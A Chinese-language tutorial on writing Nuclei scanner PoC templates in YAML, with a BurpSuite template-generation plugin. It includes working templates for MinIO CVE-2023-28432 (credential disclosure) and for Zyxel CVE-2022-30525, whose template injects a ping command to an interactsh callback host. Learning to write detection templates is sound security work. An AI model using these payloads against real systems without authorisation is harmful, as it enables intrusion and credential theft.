漏洞发现-漏扫项目&Poc开发&Yaml语法&插件一键生成&匹配效果&交互提取 ...

知识点

1、Nuclei-Poc开发-环境配置&编写流程
2、Nuclei-Poc开发-Yaml语法&匹配提取
3、Nuclei-Poc开发-BurpSuite一键生成插件
一、演示案例-Nuclei-Poc开发-环境配置&编写流程

1、开发环境：Vscode+Yaml插件
https://code.visualstudio.com/

2、开发文档参考资料
官方文档
https://docs.projectdiscovery.io/templates/protocols/http/basic-http

nuclei poc模板编写条记

https://blog.csdn.net/qq_41315957/article/details/126594572
https://blog.csdn.net/qq_41315957/article/details/126594670

二、演示案例-Nuclei-Poc开发-Yaml语法&匹配提取

YAML是一种数据序列化语言，它的基本语法规则留意如下：

巨细写敏感
使用缩进表示层级关系
缩进时不允许使用Tab键，只允许使用空格。
缩进的空格数目不紧张，只要相同层级的元素左侧对齐即可

Yaml Poc模版：
1、编号 id(描述)
2、信息 info(描述)

3、请求 http file tcp等(漏洞以什么方式请求)

4、匹配 matchers Interactsh(对效果匹配关键字来判断是否存在漏洞)

5、提取 extractors(对效果提取页面长度、状态等来判断是否存在漏洞)
开发流程：

0、poc模版套用修改

1、poc创建独立编号

2、poc填入详细信息

3、poc提交协议流程编写

4、poc效果匹配模式判断,and全部条件为真；or一个为真即可

5、poc效果提取模式判断
案例1：CVE-2023-28432 （匹配效果）
https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md

点击检察该环境POC代码

1. id: CVE-2023-28432
3. info:
4.   name: MinIO集群模式信息泄露漏洞（CVE-2023-28432）
5.   author: xiaodisec
6.   severity: low
7.   description: 在其RELEASE.2023-03-20T20-16-18Z版本（不含）以前，集群模式部署下存在一处信息泄露漏洞，攻击者可以通过发送一个POST数据包获取进程所有的环境变量，其中就包含账号密码MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD。
8.   reference:
9.     - https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
10.   tags: MinIO,CVE
11.   
12. http:
13.   - raw:
14.       - |
15.         POST /minio/bootstrap/v1/verify HTTP/1.1
16.         Host: {{Hostname}}
17.         Content-Type: application/x-www-form-urlencoded
18.     matchers:
19.       - type: word
20.         part: body
21.         words:
22.           - '"MINIO_ROOT_PASSWORD":'
23.           - '"MINIO_ROOT_USER":'
24.           - '"MinioEnv":'
25.         condition: and

复制代码

案例2：CVE-2022-30525（匹配交互）

https://blog.csdn.net/weixin_43080961/article/details/124776553

点击检察环境POC代码

1. id: CVE-2022-30525
3. info:
4.   name: Zyxel 防火墙远程命令注入漏洞
5.   author: xiaodisec
6.   severity: high
7.   description: 该漏洞影响支持零接触配置 (ZTP) 的 Zyxel 防火墙，其中包括 ATP 系列、VPN 系列和 USG FLEX 系列（包括 USG20-VPN 和 USG20W-VPN）。该漏洞标识为 CVE-2022-30525，允许未经身份验证的远程攻击者以nobody受影响设备上的用户身份执行任意代码。
8.   reference:
9.     - https://blog.csdn.net/weixin_43080961/article/details/124776553
10.   tags: zyxel,cve,rce
11.   
12. http:
13.   - raw:
14.       - |
15.         POST /ztp/cgi-bin/handler HTTP/1.1
16.         Host: {{Hostname}}
17.         Content-Type: application/json
18.         {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"{{exploit}}","data":"hi"}
19.     payloads:
20.       exploit:
21.         - ";ping -c 3 {{interactsh-url}};"
22.    
23.     matchers:
24.       - type: word
25.         part: interactsh_protocol
26.         name: dns
27.         words:
28.           - "dns"

复制代码

三、演示案例-Nuclei-Poc开发-BurpSuite一键生成插件

nuclei-burp-plugin
https://github.com/projectdiscovery/nuclei-burp-plugin
1、导入或商店安装

2、配置插件路径信息

3、数据包选择生成模版
CVE-2023-28432

然后在bp复现下这个漏洞poc，乐成后右键数据包使用插件生成nuclei插件模板

CVE-2022-30525

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。